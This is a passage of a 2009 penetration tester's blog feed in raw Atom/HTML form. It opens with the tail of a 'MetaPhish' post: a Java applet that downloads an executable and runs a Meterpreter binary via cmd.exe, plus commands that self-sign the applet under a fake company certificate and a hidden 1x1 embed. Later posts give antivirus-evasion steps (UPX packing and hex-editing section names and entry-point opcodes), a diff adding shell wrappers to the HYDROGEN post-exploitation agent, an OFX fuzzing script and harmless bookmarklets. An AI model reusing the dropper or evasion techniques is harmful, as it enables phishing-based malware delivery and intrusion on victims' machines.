!= null) {&lt;br /&gt;in.close();&lt;br /&gt;} /* end if */&lt;br /&gt;if (out != null) {&lt;br /&gt;out.close();&lt;br /&gt;} /* end if */&lt;br /&gt;} /* end try */&lt;br /&gt;catch (IOException ioe) { }&lt;br /&gt;} /* end finally */&lt;br /&gt;} /* end public void downloadURL */&lt;br /&gt;public void cmd() {&lt;br /&gt;Process process;&lt;br /&gt;try  {&lt;br /&gt;process = &lt;br /&gt;Runtime.getRuntime().exec(&amp;quot;cmd.exe /c c:\\met.exe&amp;quot;);&lt;br /&gt;} /* end try */&lt;br /&gt;catch(IOException ioexception) { }&lt;br /&gt;} /* end public void cmd */&lt;br /&gt;} /* end public class */&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;keytool -genkey -alias signFiles -keystore msfkeystore -storepass msfstorepass -dname &amp;quot;cn=Company Name&amp;quot; -keypass msfkeypass&lt;br /&gt;&lt;br /&gt;jarsigner -keystore msfkeystore -storepass msfstorepass -keypass msfkeypass -signedjar sWebDispApp.jar WebDispApp.jar signFiles&lt;br /&gt;&lt;br /&gt;keytool -export -keystore msfkeystore -storepass msfstorepass -alias signFiles -file MetaPhishLLC.cer&lt;br /&gt;&lt;br /&gt;keytool -import -alias company -file MetaPhishLLC.cer -keystore msfkeystore -storepass msfstorepass&lt;br /&gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;APPLET code=&amp;quot;MetaPhish.class&amp;quot; archive=&amp;quot;sMetaPhish.jar&amp;quot; width=&amp;quot;1&amp;quot; height=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;PARAM NAME=&amp;quot;URI&amp;quot; VALUE=&amp;quot;http://127.0.0.1/calc.exe&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;PARAM NAME=&amp;quot;LOCALFILE&amp;quot; VALUE=&amp;quot;c:\\data.exe&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;/APPLET&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-377775324696991948?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/377775324696991948/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=377775324696991948' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/377775324696991948'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/377775324696991948'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2009/06/metaphish-valsmith-stuff.html' title='MetaPhish -  Pentest Summit 2009'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-1333552644990888438</id><published>2009-06-09T12:09:00.005-04:00</published><updated>2009-06-09T12:17:13.868-04:00</updated><title type='text'>AV Bypass -  #metasploit  list</title><content type='html'>Q &gt;&gt;&gt; is a way to apply the msfencode to a generic PE file?&lt;br /&gt;&lt;br /&gt;HDM &gt;&gt;&gt; Not yet - msfencode only works on small chunks of an assembler, what you are looking for is a full-blown packer, such as ASPack or UPX. A great way to bypass AV product detection is to use a standard packer (UPX is easy) and then manually tweak the binary in a hex editor (change the UPX0-3 section names, replace some of the instructions at the entry point with equivalent opcodes, etc).&lt;br /&gt;&lt;br /&gt;I have used dsplit to understand AV signature before. It can be quite a pita though. I'll post some results using the HDM-UPX methodology. &lt;br /&gt;&lt;br /&gt;As usual, 10X to HDM.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-1333552644990888438?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/1333552644990888438/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=1333552644990888438' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/1333552644990888438'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/1333552644990888438'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2009/06/av-bypass-metasploit-list.html' title='AV Bypass -  #metasploit  list'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-752457784135278020</id><published>2009-06-05T16:10:00.002-04:00</published><updated>2009-06-05T16:14:40.237-04:00</updated><title type='text'>displaying code on blogger.com sites</title><content type='html'>I've continually has issues posting code samples to blogger.&lt;br /&gt;&lt;br /&gt;I knew everything had to be escaped and so forth, but &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_0"&gt;laziness&lt;/span&gt; is a virtue when it comes to coding&lt;br /&gt;&lt;br /&gt;This site is perfect for getting code in a format that looks good on blogger sites. &lt;br /&gt;&lt;br /&gt;http://www.elliotswan.com/postable&lt;br /&gt;&lt;br /&gt;Thank goodness for laziness.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-752457784135278020?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/752457784135278020/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=752457784135278020' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/752457784135278020'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/752457784135278020'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2009/06/displaying-code-on-bloggercom-sites.html' title='displaying code on blogger.com sites'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-6750100868399409109</id><published>2009-06-05T15:06:00.007-04:00</published><updated>2009-06-08T16:28:01.449-04:00</updated><title type='text'>penetration testing OFX servers, part II</title><content type='html'>I'm finally caught up on report writing.  I've had back yo back tests scheduled since the beginning of the year.  It's nice to have a couple weeks without people asking me when they can see a preliminary version of a report I'm writing up and so forth...&lt;br /&gt;&lt;br /&gt;So after about a minute of looking at https traffic with wireshark, I knew it was time to either hook some browser calls with &lt;a href="http://www.immunityinc.com/products-immdbg.shtml"&gt;immunity debugger&lt;/a&gt;, or even better, take a look at &lt;a href="http://code.google.com/p/ospy/"&gt;oSpy&lt;/a&gt;. From the website "oSpy is a tool which aids in reverse-engineering software running on the Windows platform".&lt;br /&gt;&lt;br /&gt;It turns out oSpy already has built in hooking for send/recv calls in the right places to see https calls from a local browser in clear text.&lt;br /&gt;&lt;br /&gt;So it became fairly easy to understand exactly how this particular OFX service linked to see xml data formatted.&lt;br /&gt;&lt;br /&gt;OFX services are like WSDL-less web services.  The OFX server registers with intuit or microsoft and publishes a request format that the client has to use to request the specific data format that further requests must be formatted in.&lt;br /&gt;&lt;br /&gt;It's kind of an anonymous bind that returns a schema with instructions on how to perform an authenticated request. I guess this might be due to the age of the specification that allows a relatively closed architecture around specific schema's for data transmission.&lt;br /&gt;&lt;br /&gt;This is what I ended up using along with burp intruder to fuzz the unfriendly service.&lt;br /&gt;&lt;br /&gt;import httplib&lt;br /&gt;import re&lt;br /&gt;&lt;br /&gt;PROXYHOST = "proxy.webmonyz.net"&lt;br /&gt;PROXYPORT = 8080&lt;br /&gt;&lt;br /&gt;URL = "https://www.ofxserver.com:443/web/default.ofx"&lt;br /&gt;HOST = URL.split('/')[2]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;regex = re.compile('&amp;lt;\w &amp;gt;\w ')&lt;br /&gt;&lt;br /&gt;headers = {"Content-type": "application/x-ofx","Accept": "*/*","Host": "ofx.ofxserver.com"}&lt;br /&gt;data = """\&lt;br /&gt;OFXHEADER:100&lt;br /&gt;DATA:OFXSGML&lt;br /&gt;VERSION:102&lt;br /&gt;SECURITY:NONE&lt;br /&gt;ENCODING:USASCII&lt;br /&gt;CHARSET:1389&lt;br /&gt;COMPRESSION:NONE&lt;br /&gt;OLDFILEUID:NONE&lt;br /&gt;NEWFILEUID:NONE&lt;br /&gt;&lt;br /&gt;&amp;lt;OFX&amp;gt;&lt;br /&gt;&amp;lt;SIGNONMSG&amp;gt;&lt;br /&gt;&amp;lt;SONRQ&amp;gt;&lt;br /&gt;&amp;lt;CLIENT&amp;gt;20080414141414.123[-4:EDT]&lt;br /&gt;&amp;lt;USERID&amp;gt;anonymous&lt;br /&gt;&amp;lt;PASS&amp;gt;anonymous&lt;br /&gt;&amp;lt;GENKEY&amp;gt;N&lt;br /&gt;&amp;lt;LANGUAGE&amp;gt;ENG&lt;br /&gt;&amp;lt;FI&amp;gt;&lt;br /&gt;&amp;lt;ORG&amp;gt;WEBMONYZ&lt;br /&gt;&amp;lt;FID&amp;gt;4141&lt;br /&gt;&amp;lt;/FI&amp;gt;&lt;br /&gt;&amp;lt;APPID&amp;gt;OLS&lt;br /&gt;&amp;lt;APPVER&amp;gt;2600&lt;br /&gt;&amp;lt;/SONRQ&amp;gt;&lt;br /&gt;&amp;lt;/SIGNONMSG&amp;gt;&lt;br /&gt;&amp;lt;PROFMSG&amp;gt;&lt;br /&gt;&amp;lt;PROFTRNRQ&amp;gt;&lt;br /&gt;&amp;lt;TRNUID&amp;gt;41E2E2B0-4E61-1320-C2C8-CE72D5B69086&lt;br /&gt;&amp;lt;PROFRQ&amp;gt;&lt;br /&gt;&amp;lt;CLIENTROUTING&amp;gt;MSGSET&lt;br /&gt;&amp;lt;DTPROFUP&amp;gt;41414101&lt;br /&gt;&amp;lt;/PROFRQ&amp;gt;&lt;br /&gt;&amp;lt;/PROFTRNRQ&amp;gt;&lt;br /&gt;&amp;lt;/PROFMSG&amp;gt;&lt;br /&gt;&amp;lt;/OFX&amp;gt;&lt;br /&gt;&lt;br /&gt;"""&lt;br /&gt;if len(PROXYHOST) &amp;gt; 3:&lt;br /&gt;   conn = httplib.HTTPConnection(PROXYHOST, PROXYPORT)&lt;br /&gt;else:&lt;br /&gt;   conn = httplib.HTTPConnection(HOST)&lt;br /&gt; &lt;br /&gt;conn.request("POST", URL, data, headers)&lt;br /&gt;response = conn.getresponse()&lt;br /&gt;print response.status, response.reason&lt;br /&gt;data = response.read()&lt;br /&gt;&lt;br /&gt;n = regex.findall(data)&lt;br /&gt;for c in n:&lt;br /&gt;   print c&lt;br /&gt;&lt;br /&gt;conn.close()&lt;br /&gt;&lt;br /&gt;&lt;ofx&gt;&lt;signonmsg&gt;&lt;sonrq&gt;&lt;dtclient&gt;&lt;userid&gt;&lt;userpass&gt;&lt;genuserkey&gt;&lt;language&gt;&lt;fi&gt;&lt;org&gt;&lt;profmsgs&gt;&lt;proftrnrq&gt;&lt;/proftrnrq&gt;&lt;/profmsgs&gt;&lt;/org&gt;&lt;/fi&gt;&lt;/language&gt;&lt;/genuserkey&gt;&lt;/userpass&gt;&lt;/userid&gt;&lt;/dtclient&gt;&lt;/sonrq&gt;&lt;/signonmsg&gt;&lt;/ofx&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-6750100868399409109?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/6750100868399409109/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=6750100868399409109' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/6750100868399409109'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/6750100868399409109'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2009/06/penetration-testing-ofx-servers-part-ii.html' title='penetration testing OFX servers, part II'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-7133748567636363021</id><published>2009-05-13T21:57:00.003-04:00</published><updated>2009-06-05T15:06:50.008-04:00</updated><title type='text'>penetration testing OFX servers</title><content type='html'>I've done tests on a number of web services and like most rank and file testers there are always several issues identified.  &lt;br /&gt;&lt;br /&gt;Of course step 0 in testing a &lt;a href="http://en.wikipedia.org/wiki/Web_service"&gt;web service&lt;/a&gt;e (within a 2 week window) is either discovering the &lt;a href="http://www.w3.org/TR/wsdl20/"&gt;WSDL&lt;/a&gt; or having it handed to you.  &lt;br /&gt;&lt;br /&gt;While &lt;a href="http://www.ofx.net/"&gt;OFX&lt;/a&gt; is an open standard, the implementation remains somewhat shrouded in secrecy.  I'm not exactly sure why at this point, but I'm finding out more than I ever wanted about this specification.&lt;br /&gt;&lt;br /&gt;Oh yeah...another interesting part of the journey has been finding out that common OFX clients, like microsoft money and quicken, generally fail safe when a certificate chain cannot be validated....which is good I guess.  So it makes it harder to use &lt;a href="http://portswigger.net"&gt;burp&lt;/a&gt; or &lt;a href="http://sourceforge.net/project/showfiles.php?group_id=64424"&gt;webscarab&lt;/a&gt; to reverse engineer the WSDL due to cert chain validation issues these tools introduce.&lt;br /&gt;&lt;br /&gt;I have started looking at http flows from &lt;a href="http://www.wireshark.org/"&gt;wireshark&lt;/a&gt; and using them as input for burp.  I'm also writing some tools to automate some of this.  I'm not looking forward to going through all this again when another OFX test comes up. &lt;br /&gt;&lt;br /&gt;Stay tuned. &lt;br /&gt;&lt;br /&gt;I'll be&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-7133748567636363021?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/7133748567636363021/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=7133748567636363021' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/7133748567636363021'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/7133748567636363021'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2009/05/penetration-testing-ofx-servers.html' title='penetration testing OFX servers'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-7208064708520946962</id><published>2009-04-22T15:08:00.006-04:00</published><updated>2009-05-26T11:17:44.058-04:00</updated><title type='text'>quick diff to hydrogen</title><content type='html'>this add's slightly less confusion for cross platform use...&lt;br /&gt;&lt;br /&gt;--- client_interface.c 2008-06-12 14:27:04.000000000 -0400&lt;br /&gt;+++ client_interface.new 2009-04-21 11:13:47.769102600 -0400&lt;br /&gt;@@ -20,7 +20,7 @@&lt;br /&gt; /*here are the functions that actually do the work*/&lt;br /&gt; int com_get(), com_put(), com_command(), com_cwd(), com_setenv();&lt;br /&gt; int com_help(), com_pf_otcp(), com_pf_itcp(), com_bg(),com_pf_oudp();&lt;br /&gt;-int com_pf_iudp(),com_setwrap();&lt;br /&gt;+int com_pf_iudp(),com_setwrap(),com_setunixshell(),com_setwinshell();&lt;br /&gt; int com_setlistenip();&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;@@ -41,12 +41,15 @@&lt;br /&gt;   { "?", com_help, "print some help information" },&lt;br /&gt; &lt;br /&gt;   /*some real commands*/&lt;br /&gt;-  { "cwd", com_cwd, "Change to directory DIR" },&lt;br /&gt;-  { "setenv", com_setenv, "Set an environment variable" },&lt;br /&gt;-  { "setwrap", com_setwrap, "Set the command wrapper (for windows)" },&lt;br /&gt;-  { "get", com_get, "get file" },&lt;br /&gt;-  { "put", com_put, "put file" },&lt;br /&gt;-  { "setlistenip", com_setlistenip, "set the local listening ip address"},&lt;br /&gt;+{ "cwd", com_cwd, "Change to directory DIR" },&lt;br /&gt;+{ "setenv", com_setenv, "Set an environment variable" },&lt;br /&gt;+{ "setwrap", com_setwrap, "Set the command wrapper " },&lt;br /&gt;+{ "setwinshell", com_setwinshell, "Set the command wrapper (for windows)" },&lt;br /&gt;+{ "setunixshell", com_setunixshell, "Set the command wrapper (for unix)" },&lt;br /&gt;+{ "get", com_get, "get file" },&lt;br /&gt;+{ "put", com_put, "put file" },&lt;br /&gt;+{ "setlistenip", com_setlistenip, "set the local listening ip address"},&lt;br /&gt;+  &lt;br /&gt;   { "pf_otcp",com_pf_otcp,"portforward - set up an outbound tcp connection"}, &lt;br /&gt;   { "pf_itcp",com_pf_itcp,"portforward - set up an inbound tcp connection"},&lt;br /&gt; &lt;br /&gt;@@ -361,6 +364,24 @@&lt;br /&gt;   return 1;&lt;br /&gt; }&lt;br /&gt; &lt;br /&gt;+ com_setwinshell()&lt;br /&gt;+ {&lt;br /&gt;+ char *wrapper;&lt;br /&gt;+ wrapper="cmd.exe /c \"%s\"";&lt;br /&gt;+ set_wrapformat(wrapper);&lt;br /&gt;+ return 1;&lt;br /&gt;+ }&lt;br /&gt;+&lt;br /&gt;+ com_setunixshell()&lt;br /&gt;+ {&lt;br /&gt;+ char *wrapper;&lt;br /&gt;+ wrapper="sh -c \"( %s ) 2&gt;&amp;1\"";&lt;br /&gt;+ set_wrapformat(wrapper);&lt;br /&gt;+ return 1;&lt;br /&gt;+ }&lt;br /&gt;+&lt;br /&gt;+&lt;br /&gt;+&lt;br /&gt; int &lt;br /&gt; com_setenv(char * line)&lt;br /&gt; {&lt;br /&gt;@@ -525,7 +546,7 @@&lt;br /&gt;   char *line,*s;&lt;br /&gt; &lt;br /&gt;   /*the \r cleans up the first letter typed.*/&lt;br /&gt;-  line = readline ("\rCommand: ");&lt;br /&gt;+  line = readline ("\rhydrogen&gt;  ");&lt;br /&gt;   &lt;br /&gt;   if (!line)&lt;br /&gt;     return;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-7208064708520946962?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/7208064708520946962/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=7208064708520946962' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/7208064708520946962'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/7208064708520946962'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2009/04/quick-diff-to-h2.html' title='quick diff to hydrogen'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-7119036749291768561</id><published>2009-04-21T12:10:00.005-04:00</published><updated>2009-04-21T12:40:14.013-04:00</updated><title type='text'>One from Dave's code attic - hydrogen</title><content type='html'>Some of my best technical (and comical) inspirations come from the life works of &lt;a href="http://en.wikipedia.org/wiki/Dave_Aitel"&gt;Dave Aitel&lt;/a&gt;. If you want to learn about anything related to exploit development, exploit frameworks, post exploitation, or general application / network security, just start reading any of the code he has written.  &lt;br /&gt;&lt;br /&gt;And of course buy a copy of CANVAS to support his work.  It's the best money you will ever spend on security training.  Oh...and I guess you can use it as an exploit framework as well.  &lt;br /&gt;&lt;br /&gt;One of the really cool GPL projects Dave released a while back is called &lt;a href="http://www.immunityinc.com/products-hydrogen.shtml"&gt;HYDROGEN&lt;/a&gt;. If you are not familiar with it, you can think of it as a cross platform &lt;a href="http://en.wikipedia.org/wiki/Meterpreter"&gt;meterpreter&lt;/a&gt;, with strong crypto built in.&lt;br /&gt;&lt;br /&gt;It is really easy to add or change functionality.  I'll try to post some of my mods to it soon.  &lt;br /&gt;&lt;br /&gt;My long term goal would be code in threading so that it could be compiled into a dll and injected into an exploited process on windows.&lt;br /&gt;&lt;br /&gt;Even though &lt;a href="http://ha.ckers.org/blog/20090401/certified-application-security-specialist/"&gt;RSnake says "Don't be like Dave"&lt;/a&gt; (in jest)...&lt;br /&gt;&lt;br /&gt;Take some time to look around and read some of Dave's stuff...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-7119036749291768561?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/7119036749291768561/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=7119036749291768561' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/7119036749291768561'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/7119036749291768561'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2009/04/one-from-daves-code-attic-hydrogen.html' title='One from Dave&apos;s code attic - hydrogen'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-5571661397612109247</id><published>2009-03-13T21:53:00.003-04:00</published><updated>2009-03-13T22:13:01.151-04:00</updated><title type='text'>Bookmarklets for Internet Explorer</title><content type='html'>&lt;DL&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){var x,n,nD,z,i; function htmlEscape(s){s=s.replace(/&amp;/g,'&amp;amp;');s=s.replace(/&gt;/g,'&amp;gt;');s=s.replace(/&lt;/g,'&amp;lt;');return s;} function attrQuoteEscape(s){s=s.replace(/&amp;/g,'&amp;amp;'); s=s.replace(/%22/g, '&amp;quot;');return s;} x=prompt(%22show links with this word/phrase in link text or target url (leave blank to list all links):%22, %22%22); n=0; if(x!=null) { x=x.toLowerCase(); nD = window.open().document; nD.writeln('&lt;html&gt;&lt;head&gt;&lt;title&gt;Links containing %22'+htmlEscape(x)+'%22&lt;/title&gt;&lt;base target=%22_blank%22&gt;&lt;/head&gt;&lt;body&gt;'); nD.writeln('Links on &lt;a href=%22'+attrQuoteEscape(location.href)+'%22&gt;'+htmlEscape(location.href)+'&lt;/a&gt;&lt;br&gt; with link text or target url containing &amp;quot;' + htmlEscape(x) + '&amp;quot;&lt;br&gt;&lt;hr&gt;'); z = document.links; for (i = 0; i &lt; z.length; ++i) { if ((z[i].innerHTML &amp;&amp; z[i].innerHTML.toLowerCase().indexOf(x) != -1) || z[i].href.toLowerCase().indexOf(x) != -1 ) { nD.writeln(++n + '. &lt;a href=%22' + attrQuoteEscape(z[i].href) + '%22&gt;' + (z[i].innerHTML || htmlEscape(z[i].href)) + '&lt;/a&gt;&lt;br&gt;'); } } nD.writeln('&lt;hr&gt;&lt;/body&gt;&lt;/html&gt;'); nD.close(); } })();" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;search links&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){function I(u){var t=u.split('.'),e=t[t.length-1].toLowerCase();return {gif:1,jpg:1,jpeg:1,png:1,mng:1}[e]}function hE(s){return s.replace(/&amp;/g,'&amp;amp;').replace(/&gt;/g,'&amp;gt;').replace(/&lt;/g,'&amp;lt;').replace(/%22/g,'&amp;quot;');}var q,h,i,z=open().document;z.write('&lt;p&gt;Images linked to by '+hE(location.href)+':&lt;/p&gt;&lt;hr&gt;');for(i=0;q=document.links[i];++i){h=q.href;if(h&amp;&amp;I(h))z.write('&lt;p&gt;'+q.innerHTML+' ('+hE(h)+')&lt;br&gt;&lt;img src=%22'+hE(h)+'%22&gt;');}z.close();})()" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;linked images&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){var dims,dimarray,wid,hei,dimstring,x,i,z,url; function linkIsSafe(u) { if (u.substr(0,7)=='mailto:') return false; if (u.substr(0,11)=='javascript:') return false; return true; } function htmlEscape(s){s=s.replace(/&amp;/g,'&amp;amp;');s=s.replace(/&gt;/g,'&amp;gt;');s=s.replace(/&lt;/g,'&amp;lt;');return s;} dims = prompt('width, height for each frame', '760, 500'); if (dims!=null) { dimarray = dims.split(','); wid = parseInt(dimarray[0]); hei = parseInt(dimarray[1]); dimstring = 'width='+wid+' height='+hei; x = document.links; z = window.open().document; for (i = 0; i &lt; x.length; ++i) { url = x[i].href; if(linkIsSafe(url)) { z.writeln('&lt;p&gt;' + x[i].innerHTML + ' (' + htmlEscape(url) + ')&lt;br&gt;&lt;iframe ' + dimstring + ' src=%22' + url.replace(/%22/g, '&amp;quot;') + '%22&gt;[broken iframe]&lt;/iframe&gt;&lt;/p&gt;'); } } z.close(); } })();" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;linked pages&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){var newSS, styles=':visited {display: none}'; if(document.createStyleSheet) { document.createStyleSheet(%22javascript:'%22+styles+%22'%22); } else { newSS=document.createElement('link'); newSS.rel='stylesheet'; newSS.href='data:text/css,'+escape(styles); document.getElementsByTagName(%22head%22)[0].appendChild(newSS); } })();" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;hide visited&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){var i,x; for (i=0;x=document.links[i];++i)x.style.color=[%22blue%22,%22red%22,%22orange%22][sim(x,location)]; function sim(a,b) { if (a.hostname!=b.hostname) return 0; if (fixPath(a.pathname)!=fixPath(b.pathname) || a.search!=b.search) return 1; return 2; } function fixPath(p){ p = (p.charAt(0)==%22/%22 ? %22%22 : %22/%22) + p;/*many browsers*/ p=p.split(%22?%22)[0];/*opera*/ return p; } })()" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;int/ext links&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){var n_to_open,dl,dll,i; function linkIsSafe(u) { if (u.substr(0,7)=='mailto:') return false; if (u.substr(0,11)=='javascript:') return false; return true; } n_to_open = 0; dl = document.links; dll = dl.length; for(i = 0; i &lt; dll; ++i) { if (linkIsSafe(dl[i].href)) ++n_to_open; } if (!n_to_open) alert ('no links'); else { if (confirm('Open ' + n_to_open + ' links in new windows?')) for (i = 0; i &lt; dll; ++i) if (linkIsSafe(dl[i].href)) window.open(dl[i].href); } })();" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;open all links&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){var x,i; x=document.links; for(i=0;i&lt;x.length;++i) { x[i].target=%22_self%22; } })();" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;target this window&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){var x,i; x=document.links; for(i=0;i&lt;x.length;++i) { x[i].target=%22_blank%22; } })();" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;target new windows&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){function 